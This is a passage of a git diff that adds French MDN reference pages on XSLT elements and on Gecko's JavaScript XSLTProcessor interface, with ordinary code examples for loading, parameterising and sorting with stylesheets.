+</p><p>L'élément <code>&lt;xsl:if&gt;</code> regroupe un attribut test et un modèle. Si le test renvoie <code>true</code>, le modèle est appliqué. En cela, il est très semblable à l'instruction <code>if</code> d'autres langages. Cependant, pour simuler un &lt;tt&gt;if-then-else&lt;/tt&gt;, vous devrez utilisez l'élément <code>&lt;xsl:choose&gt;</code> avec un descendant <code>&lt;xsl:when&gt;</code> et un <code>&lt;xsl:otherwise&gt;</code>.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre>&lt;xsl:if test=EXPRESSION&gt;
+	MODÈLE
+&lt;/xsl:if&gt;</pre>
+<h3 id="Attribut_obligatoire" name="Attribut_obligatoire"> Attribut obligatoire </h3>
+<dl><dt><code>test</code>
+</dt><dd>Contient une expression XPath qui peut être évaluée (en utilisant les règles définies pour <code>boolean( )</code> si nécessaire) en une valeur booléenne. Si la valeur est <code>true</code>, le modèle est appliqué ; dans le cas contraire, aucune action n'est exécutée.
+</dd></dl>
+<h3 id="Attributs_optionnels" name="Attributs_optionnels"> Attributs optionnels </h3>
+<p>Aucun.
+</p>
+<h3 id="Type" name="Type"> Type </h3>
+<p>Instruction, apparaît dans un modèle.
+</p>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#section-Conditional-Processing-with-xsl:if">XSLT 1.0 section 9.1</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supporté.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>{{ languages( { "en": "en/XSLT/if", "es": "es/XSLT/if", "pl": "pl/XSLT/if" } ) }}
diff --git a/files/fr/web/xslt/import/index.html b/files/fr/web/xslt/import/index.html
new file mode 100644
index 0000000000..80a618fd06
--- /dev/null
+++ b/files/fr/web/xslt/import/index.html
@@ -0,0 +1,38 @@
+---
+title: import
+slug: Web/XSLT/import
+tags:
+  - Référence_XSLT
+translation_of: Web/XSLT/Element/import
+---
+<p>{{ XsltRef() }}</p>
+
+<p>L'élément <code>&lt;xsl:import&gt;</code> est un élément de haut niveau qui sert à importer le contenu d'une feuille de styles dans une autre. Généralement, le contenu importé a une priorité inférieure à celui de la feuille qui effectue l'importation. Ceci contraste avec <a href="/fr/docs/Web/XSLT/include">&lt;xsl:include&gt;</a> où les contenus des deux feuilles ont exactement la même priorité.</p>
+
+<h3 id="Syntaxe">Syntaxe</h3>
+
+<p>&lt;xsl:import href=URI /&gt;</p>
+
+<h3 id="Attribut_obligatoire">Attribut obligatoire</h3>
+
+<dl>
+ <dt><code>href</code></dt>
+ <dd>Définit l'URI de la feuille de styles à importer.</dd>
+</dl>
+
+<h3 id="Attributs_optionnels">Attributs optionnels</h3>
+
+<p>Aucun.</p>
+
+<h3 id="Type">Type</h3>
+
+<p>Haut niveau, doit apparaître avant tout autre descendant de <code>&lt;xsl:stylesheet&gt;</code> ou de <code>&lt;xsl:transform&gt;</code> dans la feuille de styles qui effectue l'importation.</p>
+
+
+<h3 id="Définition">Définition</h3>
+
+<p><a href="http://www.w3.org/TR/xslt#import">XSLT 1.0, section 2.6.2</a>.</p>
+
+<h3 id="Support_Gecko">Support Gecko</h3>
+
+<p>Support presque complet, quelques problèmes avec les variables et les paramètres de haut niveau dans Mozilla 1.0.</p>
diff --git a/files/fr/web/xslt/include/index.html b/files/fr/web/xslt/include/index.html
new file mode 100644
index 0000000000..d3e669099e
--- /dev/null
+++ b/files/fr/web/xslt/include/index.html
@@ -0,0 +1,42 @@
+---
+title: include
+slug: Web/XSLT/include
+tags:
+  - Référence_XSLT
+translation_of: Web/XSLT/Element/include
+---
+<p>{{ XsltRef() }}</p>
+
+<p>L'élément <code>&lt;xsl:include&gt;</code> fusionne les contenus de deux feuilles de styles. Contrairement à l'élément <a href="/fr/XSLT/import">&lt;xsl:import&gt;</a>, les contenus des deux feuilles de styles fusionnées ont la même priorité.</p>
+
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+
+<pre class="eval">&lt;xsl:include href=URI /&gt;
+</pre>
+
+<h3 id="Attribut_obligatoire" name="Attribut_obligatoire">Attribut obligatoire</h3>
+
+<dl>
+ <dt><code>href</code></dt>
+ <dd>Définit l'URI de la feuille de styles à inclure.</dd>
+</dl>
+
+<h3 id="Attributs_optionnels" name="Attributs_optionnels">Attributs optionnels</h3>
+
+<p>Aucun.</p>
+
+<h3 id="Type" name="Type">Type</h3>
+
+<p>Haut niveau, peut apparaître dans n'importe quel ordre comme enfant de <code>&lt;xsl:stylesheet&gt;</code> ou de <code>&lt;xsl:transform&gt;</code>.</p>
+
+<h3 id="D.C3.A9finition" name="D.C3.A9finition">Définition</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/xslt#include">XSLT 1.0, section 2.6.1</a>.</p>
+
+<h3 id="Support_Gecko" name="Support_Gecko">Support Gecko</h3>
+
+<p>Supporté.</p>
+
+<p><span class="comment">Interwiki Languages Links</span></p>
+
+<p>{{ languages( { "en": "en/XSLT/include", "es": "es/XSLT/include", "pl": "pl/XSLT/include" } ) }}</p>
diff --git a/files/fr/web/xslt/index.html b/files/fr/web/xslt/index.html
new file mode 100644
index 0000000000..00d85a3ff9
--- /dev/null
+++ b/files/fr/web/xslt/index.html
@@ -0,0 +1,85 @@
+---
+title: XSLT
+slug: Web/XSLT
+tags:
+  - XSLT
+translation_of: Web/XSLT
+---
+<p> </p>
+
+<div>
+<p><strong>XSLT (eXtended Stylesheet Language Transformations)</strong>, défini au sein de la recommandation XSL du W3C, est un langage de transformation <a href="/fr/XML" title="fr/XML">XML</a> de type fonctionnel.</p>
+
+<p>L'objectif principal est la transformation d'un document <a href="/fr/XML" title="fr/XML">XML</a> vers un autre, ou un dialecte <a href="/fr/XML" title="fr/XML">XML</a> (XHTML, XSL-FO, <a href="/fr/HTML" title="fr/HTML">HTML</a>, etc.). Cependant, le langage XSLT permet aussi les transformations vers tout autre type de document, au format texte ou dans un format binaire (bien que ceci ne soit pas nativement prévu par la recommandation XSLT).</p>
+
+<p>XSLT s'appuie sur XPath (une autre partie de la recommandation XSL) pour désigner une partie d'un arbre <a href="/fr/XML" title="fr/XML">XML</a>.</p>
+
+<p>XSLT est lui-même un dialecte <a href="/fr/XML" title="fr/XML">XML</a>. Un programme XSLT est donc, avant tout, un document <a href="/fr/XML" title="fr/XML">XML</a></p>
+</div>
+
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h4 id="Documentation" name="Documentation"><a href="/Special:Tags?tag=XSLT&amp;language=fr" title="Special:Tags?tag=XSLT&amp;language=fr">Documentation</a></h4>
+
+    <dl>
+     <dt><a href="/fr/XSLT/Éléments" title="fr/XSLT/Éléments">Référence des éléments XSLT</a></dt>
+    </dl>
+
+    <dl>
+     <dt><a href="/fr/Transformations_XML_avec_XSLT" title="fr/Transformations_XML_avec_XSLT">Transformations XML avec XSLT</a></dt>
+     <dd><small>XSLT permet à un auteur de feuille de style de transformer un document XML primaire de deux manières significatives : en manipulant et triant le contenu, en le réordonnant si désiré, et en le transformant en un format différent.</small></dd>
+    </dl>
+
+    <dl>
+     <dt><a href="/fr/Utilisation_de_l'interface_JavaScript_de_Mozilla_pour_les_transformations_XSL" title="fr/Utilisation_de_l'interface_JavaScript_de_Mozilla_pour_les_transformations_XSL">Utilisation de l'interface JavaScript de Mozilla pour les transformations XSL</a></dt>
+     <dd><small>Ce document décrit l'interface JavaScript du moteur d'analyse XSLT dans Mozilla 1.2 et supérieur.</small></dd>
+    </dl>
+
+    <dl>
+     <dt><a href="/fr/XSLT/Paramètres_des_instructions_de_traitement" title="fr/XSLT/Paramètres_des_instructions_de_traitement">Spécification de paramètres à l'aide d'instructions de traitement</a></dt>
+     <dd><small>Firefox permet de spécifier des paramètres de feuille de style à utiliser avec l'instruction de traitement <code>&lt;?xml-stylesheet?&gt;</code>. Ceci se fait avec l'instruction <code>&lt;?xslt-param?&gt;</code> décrite dans ce document. (à traduire de <a href="/en/XSLT/PI_Parameters">en:XSLT:PI Parameters</a>)</small></dd>
+    </dl>
+
+    <dl>
+     <dt><a class="external" href="http://www.topxml.com/xsl/tutorials/intro/">Tutoriel XSLT et XPath</a></dt>
+     <dd><small>Le tutoriel XSLT de TopXML présente les bases des concepts de XSLT, de sa syntaxe et sa programmation.</small></dd>
+    </dl>
+
+    <dl>
+     <dt><a class="external" href="http://www.w3schools.com/xsl/">Tutoriel XSLT</a></dt>
+     <dd><small>Ce tutoriel de <a class="external" href="http://www.w3schools.com">W3Schools</a> explique comment utiliser XSLT pour transformer des document XML en d'autres formats, comme XHTML.</small></dd>
+    </dl>
+
+    <dl>
+     <dt><a class="external" href="http://www.xml.com/pub/a/2000/08/holman/">What is XSLT?</a></dt>
+     <dd><small>Cette large introduction de XSLT et XPath ne nécessite aucune connaissance préalable de ces technologies et guide le lecteur à travers leur contexte, leur structure, les différents concepts et les bases de leur terminologie.</small></dd>
+    </dl>
+
+    <dl>
+     <dt><a href="/fr/XSLT_2.0" title="fr/XSLT_2.0">XSLT 2.0</a> (Nouveau)</dt>
+    </dl>
+
+    <p><span class="alllinks"><a href="/Special:Tags?tag=XSLT&amp;language=fr" title="Special:Tags?tag=XSLT&amp;language=fr">Tous les articles…</a></span></p>
+   </td>
+   <td>
+    <h4 id="Communaut.C3.A9" name="Communaut.C3.A9">Communauté</h4>
+
+    <ul>
+     <li>Voir les forums de Mozilla…</li>
+    </ul>
+
+    <p>{{ DiscussionList("dev-tech-xslt", "mozilla.dev.tech.xslt") }}</p>
+
+    <p> </p>
+
+    <h4 id="Sujets_li.C3.A9s" name="Sujets_li.C3.A9s">Sujets liés</h4>
+
+    <dl>
+     <dd><a href="/fr/XML" title="fr/XML">XML</a>, <a href="/fr/XPath" title="fr/XPath">XPath</a></dd>
+    </dl>
+   </td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/xslt/interface_xslt_js_dans_gecko/définition_de_paramètres/index.html b/files/fr/web/xslt/interface_xslt_js_dans_gecko/définition_de_paramètres/index.html
new file mode 100644
index 0000000000..43cf60370b
--- /dev/null
+++ b/files/fr/web/xslt/interface_xslt_js_dans_gecko/définition_de_paramètres/index.html
@@ -0,0 +1,31 @@
+---
+title: Définition de paramètres
+slug: Web/XSLT/Interface_XSLT_JS_dans_Gecko/Définition_de_paramètres
+tags:
+  - Traduction_à_relire
+translation_of: Web/XSLT/XSLT_JS_interface_in_Gecko/Setting_Parameters
+---
+<h2 id="D.C3.A9finition_de_param.C3.A8tres" name="D.C3.A9finition_de_param.C3.A8tres">Définition de paramètres</h2>
+
+<p>Alors que l'exécution de transformations à l'aide des fichiers .xsl et .xml pré codés est utile, la configuration du fichier .xsl par JavaScript peut l'être bien plus. Par exemple, JavaScript et XSLT peuvent être utilisés pour trier des données XML puis les afficher. L'ordre du tri pourra alterner entre le tri ascendant et le tri descendant.</p>
+
+<p>XSLT fournit l'élément <code>xsl:param</code>, qui est un descendant de l'élément <code>xsl:stylesheet</code>. <code>XSLTProcessor()</code> fournit trois méthodes JavaScript pour interagir avec ces paramètres : <code>setParameter</code>, <code>getParameter</code> et <code>removeParameter</code>. Elles prennent toutes comme premier argument l'URI de l'espace de nommage de <code>xsl:param</code> (normalement, <code>param</code> tombera dans l'espace de nommage par défaut, ainsi le passer à <code>null</code> suffira). Le nom local de <code>xsl:param</code> est le second argument. <code>setParameter</code> requiert un troisième argument, à savoir la valeur à laquelle le paramètre sera défini.</p>
+
+<p><small><strong>Figure 7 : Paramètres</strong></small></p>
+
+<div style="margin-left: 1.5em; padding: 1em; border: 1px dotted #000;">
+<p><em>XSLT :</em></p>
+
+<pre>&lt;xsl:param name="myOrder" /&gt;
+</pre>
+
+<p><em>JavaScript :</em></p>
+
+<pre>var sortVal = xsltProcessor.getParameter(null, "monOrdre");
+
+if (sortVal == "" || sortVal == "descendant")
+  xsltProcessor.setParameter(null, "monOrdre", "ascendant");
+else
+  xsltProcessor.setParameter(null, "monOrdre", "descendant");
+</pre>
+</div>
diff --git a/files/fr/web/xslt/interface_xslt_js_dans_gecko/exemple_avancé/index.html b/files/fr/web/xslt/interface_xslt_js_dans_gecko/exemple_avancé/index.html
new file mode 100644
index 0000000000..87a1d812cc
--- /dev/null
+++ b/files/fr/web/xslt/interface_xslt_js_dans_gecko/exemple_avancé/index.html
@@ -0,0 +1,107 @@
+---
+title: Exemple avancé
+slug: Web/XSLT/Interface_XSLT_JS_dans_Gecko/Exemple_avancé
+tags:
+  - Traduction_à_relire
+translation_of: Web/XSLT/XSLT_JS_interface_in_Gecko/Advanced_Example
+---
+<h2 id="Exemple_avanc.C3.A9" name="Exemple_avanc.C3.A9">Exemple avancé</h2>
+
+<p>Dans l'exemple avancé, nous allons trier plusieurs <code>div</code> selon leur contenu. L'exemple permet de trier le contenu plusieurs fois, en alternant entre le tri ascendant et le tri descendant. Le JavaScript ne charge que le fichier .xsl la première fois, et définit la variable <code>xslloaded</code> à <code>true</code> une fois que le fichier est fini de chargé. En utilisant la méthode <code>getParameter</code> sur l'objet <code>XSLTProcessor</code> , le code peut estimer s'il faut trier de façon ascendante ou descendante. Il trie par défaut de manière ascendante si le paramètre est vide (lors du premier tri, car sa valeur n'est pas définie dans le fichier XSLT). La valeur du tri est définie à l'aide de <code>setParameter</code>.</p>
+
+<p>La fichier XSLT a un paramètre appelé <code>myOrder</code> que le JavaScript définit pour changer la méthode de tri. L'attribut <code>xsl:sort</code> d'ordre des éléments peut accéder à la valeur du paramètre en utilisant <code>$myOrder</code>. Cependant, la valeur a besoin d'être une expression XPath et non pas une chaîne, ainsi on utilise <code>{$myOrder}</code>. L'utilisation de <code>{}</code> évalue le contenu comme une expression XPath.</p>
+
+<p>Une fois la transformation complétée, le résultat est ajouté au document, comme indiqué dans l'exemple.</p>
+
+<p><small><strong>Figure 7 : Tri selon le contenu des div<span class="comment">voir l'exemple</span></strong></small></p>
+
+<div style="margin-left: 1.5em; padding: 1em; border: 1px dotted #000;">
+<p><em>Fragment XHTML :</em></p>
+
+<pre>&lt;div id="example"&gt;
+  &lt;div&gt;1&lt;/div&gt;
+  &lt;div&gt;2&lt;/div&gt;
+  &lt;div&gt;3&lt;/div&gt;
+  &lt;div&gt;4&lt;/div&gt;
+  &lt;div&gt;5&lt;/div&gt;
+  &lt;div&gt;6&lt;/div&gt;
+  &lt;div&gt;7&lt;/div&gt;
+  &lt;div&gt;8&lt;/div&gt;
+  &lt;div&gt;9&lt;/div&gt;
+  &lt;div&gt;10&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p><em>JavaScript</em></p>
+
+<pre>var xslRef;
+var xslloaded = false;
+var xsltProcessor = new XSLTProcessor();
+var myDOM;
+
+var xmlRef = document.implementation.createDocument("", "", null);
+
+function sort() {
+  if (!xslloaded){
+    p = new XMLHttpRequest();
+    p.open("GET", "example2.xsl", false);
+    p.send(null);
+
+    xslRef = p.responseXML;
+    xsltProcessor.importStylesheet(xslRef)
+    xslloaded = true;
+  }
+
+  // création d'un nouveau document XML en mémoire
+  xmlRef = document.implementation.createDocument("", "", null);
+
+  // nos voulons déplacer une partie du DOM depuis le document HTML vers le document XML.
+  // importNode est utilisé pour cloner les nœuds que nous voulons traiter via XSLT
+  // true permet une copie profonde
+  var myNode = document.getElementById("example");
+  var clonedNode = xmlRef.importNode(myNode, true);
+
+  // après le clonage, nous ajoutons
+  xmlRef.appendChild(clonedNode);
+
+  // définition du paramètre de tri dans le fichier XSL
+  var sortVal = xsltProcessor.getParameter(null, "myOrder");
+
+  if (sortVal == "" || sortVal == "descending")
+    xsltProcessor.setParameter(null, "myOrder", "ascending");
+  else
+    xsltProcessor.setParameter(null, "myOrder", "descending");
+
+  // initialisation de la transformation
+  var fragment = xsltProcessor.transformToFragment(xmlRef, document);
+
+  // effacement des contenus
+  document.getElementById("example").innerHTML = "";
+
+  myDOM = fragment;
+  // ajout du nouveau contenu depuis la transformation
+  document.getElementById("example").appendChild(fragment)
+}
+</pre>
+
+<p><em>Feuille de style XSL :</em></p>
+
+<pre>&lt;?xml version="1.0" encoding="UTF-8"?&gt;
+&lt;xsl:stylesheet version="1.0" xmlns="http://www.w3.org/1999/xhtml" xmlns:html="http://www.w3.org/1999/xhtml" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"&gt;
+  &lt;xsl:output method="html" indent="yes" /&gt;
+
+  &lt;xsl:param name="myOrder" /&gt;
+
+  &lt;xsl:template match="/"&gt;
+
+    &lt;xsl:apply-templates select="/div//div"&gt;
+      &lt;xsl:sort select="." data-type="number" order="{$myOrder}" /&gt;
+    &lt;/xsl:apply-templates&gt;
+  &lt;/xsl:template&gt;
+
+  &lt;xsl:template match="div"&gt;
+    &lt;xsl:copy-of select="." /&gt;
+  &lt;/xsl:template&gt;
+&lt;/xsl:stylesheet&gt;
+</pre>
+</div>
diff --git a/files/fr/web/xslt/interface_xslt_js_dans_gecko/exemple_basique/index.html b/files/fr/web/xslt/interface_xslt_js_dans_gecko/exemple_basique/index.html
new file mode 100644
index 0000000000..7031df3d90
--- /dev/null
+++ b/files/fr/web/xslt/interface_xslt_js_dans_gecko/exemple_basique/index.html
@@ -0,0 +1,134 @@
+---
+title: Exemple basique
+slug: Web/XSLT/Interface_XSLT_JS_dans_Gecko/Exemple_basique
+tags:
+  - Traduction_à_relire
+translation_of: Web/XSLT/XSLT_JS_interface_in_Gecko/Basic_Example
+---
+<h2 id="Exemple_basique" name="Exemple_basique">Exemple basique</h2>
+
+<p>L'exemple que nous allons voir va charger un fichier XML et lui appliquer une transformation XSL. Nous utiliserons les mêmes fichiers que dans l'exemple <a href="fr/XSLT_dans_Gecko/G%c3%a9n%c3%a9ration_de_HTML">Génération de HTML</a> de l'article <a href="fr/XSLT_dans_Gecko">XSLT dans Gecko</a>. Le fichier XML décrit un article et le fichier XSL formate les informations pour l'affichage.</p>
+
+<p><small><strong>Figure 4 : fichier XML</strong></small></p>
+
+<p><span class="comment">Document XML (example1.xml):</span></p>
+
+<pre>  &lt;?xml version="1.0"?&gt;
+  &lt;myNS:Article
+                         xmlns:myNS="http://devedge.netscape.com/2002/de"&gt;
+    &lt;myNS:Title&gt;Mon article&lt;/myNS:Title&gt;
+    &lt;myNS:Authors&gt;
+      &lt;myNS:Author company="Foopy Corp."&gt;M. Foo&lt;/myNS:Author&gt;
+      &lt;myNS:Author&gt;M. Bar&lt;/myNS:Author&gt;
+    &lt;/myNS:Authors&gt;
+    &lt;myNS:Body&gt;
+      En &lt;em&gt;Espagne&lt;/em&gt;, les &lt;strong&gt;pluies&lt;/strong&gt; se concentrent
+      principalement dans les plaines.
+    &lt;/myNS:Body&gt;
+  &lt;/myNS:Article&gt;
+</pre>
+
+<p><small><strong>Figure 5 : feuille de style XSLT</strong></small></p>
+
+<p><span class="comment">feuille de style XSL (example1.xsl):</span></p>
+
+<pre>  &lt;?xml version="1.0"?&gt;
+  &lt;xsl:stylesheet version="1.0"
+                           xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
+                           xmlns:myNS="http://devedge.netscape.com/2002/de"&gt;
+
+    &lt;xsl:output method="html" /&gt;
+
+    &lt;xsl:template match="/"&gt;
+      &lt;html&gt;
+
+        &lt;head&gt;
+
+          &lt;title&gt;
+            &lt;xsl:value-of select="/myNS:Article/myNS:Title"/&gt;
+          &lt;/title&gt;
+
+          &lt;style type="text/css"&gt;
+            .myBox {margin:10px 155px 0 50px; border: 1px dotted #639ACE; padding:0 5px 0 5px;}
+          &lt;/style&gt;
+
+        &lt;/head&gt;
+
+        &lt;body&gt;
+          &lt;p class="myBox"&gt;
+            &lt;span class="title"&gt;
+              &lt;xsl:value-of select="/myNS:Article/myNS:Title"/&gt;
+            &lt;/span&gt; &lt;br /&gt;
+
+            Auteurs :   &lt;br /&gt;
+              &lt;xsl:apply-templates select="/myNS:Article/myNS:Authors/myNS:Author"/&gt;
+            &lt;/p&gt;
+
+          &lt;p class="myBox"&gt;
+            &lt;xsl:apply-templates select="//myNS:Body"/&gt;
+          &lt;/p&gt;
+
+        &lt;/body&gt;
+
+      &lt;/html&gt;
+    &lt;/xsl:template&gt;
+
+    &lt;xsl:template match="myNS:Author"&gt;
+       --   &lt;xsl:value-of select="." /&gt;
+
+      &lt;xsl:if test="@company"&gt;
+       ::   &lt;strong&gt;  &lt;xsl:value-of select="@company" /&gt;  &lt;/strong&gt;
+      &lt;/xsl:if&gt;
+
+      &lt;br /&gt;
+    &lt;/xsl:template&gt;
+
+    &lt;xsl:template match="myNS:Body"&gt;
+      &lt;xsl:copy&gt;
+        &lt;xsl:apply-templates select="@*|node()"/&gt;
+      &lt;/xsl:copy&gt;
+    &lt;/xsl:template&gt;
+
+    &lt;xsl:template match="@*|node()"&gt;
+        &lt;xsl:copy&gt;
+          &lt;xsl:apply-templates select="@*|node()"/&gt;
+        &lt;/xsl:copy&gt;
+    &lt;/xsl:template&gt;
+  &lt;/xsl:stylesheet&gt;
+</pre>
+
+<p>L'exemple charge en mémoire les deux fichiers .xsl (<code>xslStylesheet</code>) et .xml (<code>xmlDoc</code>) à l'aide de <code>XMLHTTPRequest</code> synchrone. Le fichier .xsl est alors importé (<code>xsltProcessor.importStylesheet(xslStylesheet)</code>) et la transformation exécutée (<code>xsltProcessor.transformToFragment(xmlDoc, document)</code>). Cela permet d'extraire des données après le chargement de la page, sans avoir à la rafraîchir.</p>
+
+<p><small><strong>Figure 6 : Exemple <span class="comment">voir l'exemple</span></strong></small></p>
+
+<pre>var xslStylesheet;
+var xsltProcessor = new XSLTProcessor();
+var myDOM;
+
+var xmlDoc;
+
+function Init(){
+
+  // chargement du fichier xslt, example1.xsl
+  var myXMLHTTPRequest = new XMLHttpRequest();
+  myXMLHTTPRequest.open("GET", "example1.xsl", false);
+  myXMLHTTPRequest.send(null);
+
+  xslStylesheet = myXMLHTTPRequest.responseXML;
+  xsltProcessor.importStylesheet(xslStylesheet);
+
+  // chargement du fichier xml, example1.xml
+  myXMLHTTPRequest = new XMLHttpRequest();
+  myXMLHTTPRequest.open("GET", "example1.xml", false);
+  myXMLHTTPRequest.send(null);
+
+  xmlDoc = myXMLHTTPRequest.responseXML;
+
+  var fragment = xsltProcessor.transformToFragment(xmlDoc, document);
+
+  document.getElementById("example").innerHTML = "";
+
+  myDOM = fragment;
+  document.getElementById("example").appendChild(fragment);
+}
+</pre>
diff --git a/files/fr/web/xslt/interface_xslt_js_dans_gecko/index.html b/files/fr/web/xslt/interface_xslt_js_dans_gecko/index.html
new file mode 100644
index 0000000000..bf11103d83
--- /dev/null
+++ b/files/fr/web/xslt/interface_xslt_js_dans_gecko/index.html
@@ -0,0 +1,18 @@
+---
+title: L'interface XSLT/JavaScript dans Gecko
+slug: Web/XSLT/Interface_XSLT_JS_dans_Gecko
+tags:
+  - DOM
+  - Toutes_les_catégories
+  - XSLT
+translation_of: Web/XSLT/XSLT_JS_interface_in_Gecko
+---
+<ol>
+ <li><a href="/fr/docs/XSLT/XSLT_JS_Interface_in_Gecko/Introduction">Introduction</a></li>
+ <li><a href="/fr/docs/XSLT/XSLT_JS_Interface_in_Gecko/JavaScript_XSLT_Bindings">JavaScript/XSLT Bindings</a></li>
+ <li><a href="/fr/docs/XSLT/XSLT_JS_Interface_in_Gecko/Basic_Example">Basic Example</a></li>
+ <li><a href="/fr/docs/XSLT/XSLT_JS_Interface_in_Gecko/Setting_Parameters">Setting Parameters</a></li>
+ <li><a href="/fr/docs/XSLT/XSLT_JS_Interface_in_Gecko/Advanced_Example">Advanced Example</a></li>
+ <li><a href="/fr/docs/XSLT/XSLT_JS_Interface_in_Gecko/Interface_List">Interface List</a></li>
+ <li><a href="/fr/docs/XSLT/XSLT_JS_Interface_in_Gecko/Resources">Resources</a></li>
+</ol>
diff --git a/files/fr/web/xslt/interface_xslt_js_dans_gecko/les_liaisons_javascript_xslt/index.html b/files/fr/web/xslt/interface_xslt_js_dans_gecko/les_liaisons_javascript_xslt/index.html
new file mode 100644
index 0000000000..0cfa95c2c8
--- /dev/null
+++ b/files/fr/web/xslt/interface_xslt_js_dans_gecko/les_liaisons_javascript_xslt/index.html
@@ -0,0 +1,58 @@
+---
+title: Les liaisons JavaScript/XSLT
+slug: Web/XSLT/Interface_XSLT_JS_dans_Gecko/Les_liaisons_JavaScript_XSLT
+tags:
+  - Traduction_à_relire
+translation_of: Web/XSLT/XSLT_JS_interface_in_Gecko/JavaScript_XSLT_Bindings
+---
+<h2 id="Les_liaisons_JavaScript.2FXSLT" name="Les_liaisons_JavaScript.2FXSLT">Les liaisons JavaScript/XSLT</h2>
+
+<p>JavaScript peut exécuter des transformations XSLT à travers l'objet <code>XSLTProcessor</code>. Un fois instancié, un <code>XSLTProcessor</code> a une méthode <code>importStylesheet</code> qui prend comme argument la feuille de style XSLT à utiliser pour la transformation. La feuille de style doit être passée comme un document XML, ce qui signifie que le fichier .xsl doit être chargé par la page avant d'appeler <code>importStylesheet</code>. Cela peut être fait par <code>XMLHttpRequest</code> ou par <code>XMLDocument.load</code>.</p>
+
+<p><small><strong>Figure 1 : Instanciation d'un XSLTProcessor</strong></small></p>
+
+<pre>  var xsltProcessor = new XSLTProcessor();
+
+  // Chargement du fichier xsl à l'aide de XMLHttpRequest synchrone
+     (le 3° paramètre est défini à false
+  var myXMLHTTPRequest = new XMLHttpRequest();
+  myXMLHTTPRequest.open("GET", "example.xsl", false);
+  myXMLHTTPRequest.send(null);
+
+  var xslRef = myXMLHTTPRequest.responseXML;
+
+  // Importation du .xsl
+  xsltProcessor.importStylesheet(xslRef);
+</pre>
+
+<p>Pour la transformation réelle, <code>XSLTProcessor</code> requiert un document XML, qui est utilisé en conjonction avec le fichier XSL importé pour produire le résultat final. Le document XML peut être un fichier XML séparé chargé comme sur la figure 1, ou il peut être une partie d'une page existante. Pour traiter une partie du DOM d'une page, il est nécessaire de commencer par créer un document XML en mémoire. Considérons que le DOM à traiter est contenu dans un élément avec l'ID <code>example</code>, que le DOM peut être « cloné » (ou dupliqué) à l'aide de ma méthode <code>importNode</code> du document XML en mémoire. <code>importNode</code> permet le transfert d'un fragment DOM entre différents documents, dans ce cas, depuis un document HTML vers un document XML. Le premier paramètre référence le nœud DOM à dupliquer. En définissant le deuxième paramètre à <code>true</code>, il dupliquera à l'identique tous les descendants (une copie profonde). Le DOM cloné peut alors être facilement inséré dans le document XML à l'aide de <code>appendChild</code>, comme indiqué sur la figure 2.</p>
+
+<p><small><strong>Figure 2 : Création d'un document XML à partir d'un DOM document</strong></small></p>
+
+<pre>  // création d'u nouveau document XML en mémoire
+  var xmlRef = document.implementation.createDocument("", "", null);
+
+  // nous voulons déplacer une partie du DOM depuis un document HTML vers un document XML.
+  // importNode est utilisée pour cloner les nœuds que nous voulons traiter via XSLT
+  // true permet une copie conforme
+  var myNode = document.getElementById("example");
+  var clonedNode = xmlRef.importNode(myNode, true);
+
+  // Ajout du DOM cloné dans le document XML
+  xmlRef.appendChild(clonedNode);
+</pre>
+
+<p>Une fois la feuille de style importée, <code>XSLTProcessor</code> doit exécuter deux méthodes pour la transformations réelle, à savoir <code>transformToDocument()</code> et <code>transformToFragment()</code>. <code>transformToDocument()</code> retourne un document XML entier alors que <code>transformToFragment()</code> retourne un fragment de document qui peut être facilement ajouté à un document XML existant. Les deux prennent le document XML comme premier paramètre à transformer. <code> transformToFragment()</code> requiert un second paramètre, à savoir l'objet document qui possédera le fragment généré. Si le fragment généré est inséré dans le document HTML courant, passer document est suffisant.</p>
+
+<p><small><strong>Figure 2.1 : Création d'un document XML à partir d'une chaîne 'soupe XML'</strong></small></p>
+
+<p>Alors que nous pouvons utiliser la méthode <code>loadXML</code> d'Internet Explorer pour charger une chaîne contenant du XML, nous devons faire quelques arrangements pour faire la même chose dans Mozilla. Nous devons utiliser le DomParser.no pour créer un document, car c'est géré par le<em>DomParser</em> .</p>
+
+<pre class="eval">var parser = new DOMParser();
+var doc = parser.parseFromString(aStr, "text/xml");
+</pre>
+
+<p><small><strong>Figure 3 : Exécution de la transformation</strong></small></p>
+
+<pre class="eval"> var fragment = xsltProcessor.transformToFragment(xmlRef, document);
+</pre>
diff --git a/files/fr/web/xslt/interface_xslt_js_dans_gecko/ressources/index.html b/files/fr/web/xslt/interface_xslt_js_dans_gecko/ressources/index.html
new file mode 100644
index 0000000000..e747875fe8
--- /dev/null
+++ b/files/fr/web/xslt/interface_xslt_js_dans_gecko/ressources/index.html
@@ -0,0 +1,25 @@
+---
+title: Ressources
+slug: Web/XSLT/Interface_XSLT_JS_dans_Gecko/Ressources
+translation_of: Web/XSLT/XSLT_JS_interface_in_Gecko/Resources
+---
+<p></p><ol>
+    <li><a href="/fr/docs/L'interface_XSLT%2f%2fJavaScript_dans_Gecko">Introduction</a></li>
+    <li><a href="/fr/docs/L'interface_XSLT%2f%2fJavaScript_dans_Gecko/Les_liaisons_JavaScript%2f%2fXSLT">Les liaisons JavaScript/XSLT</a></li>
+    <li><a href="/fr/docs/L'interface_XSLT%2f%2fJavaScript_dans_Gecko/Exemple_basique">Exemple basique</a></li>
+	<li><a href="/fr/docs/L'interface_XSLT%2f%2fJavaScript_dans_Gecko/D%c3%a9finition_de_param%c3%a8tres">Définition de paramètres</a></li>
+	<li><a href="/fr/docs/L'interface_XSLT%2f%2fJavaScript_dans_Gecko/Exemple_avanc%c3%a9">Exemple avancé</a></li>
+	<li><a href="/fr/docs/L'interface_XSLT%2f%2fJavaScript_dans_Gecko/Liste_des_interfaces">Liste des interfaces</a></li>
+	<li><a href="/fr/docs/L'interface_XSLT%2f%2fJavaScript_dans_Gecko/Ressources">Ressources</a></li>
+</ol><p></p>
+
+<h2 id="Ressources">Ressources</h2>
+
+<ul>
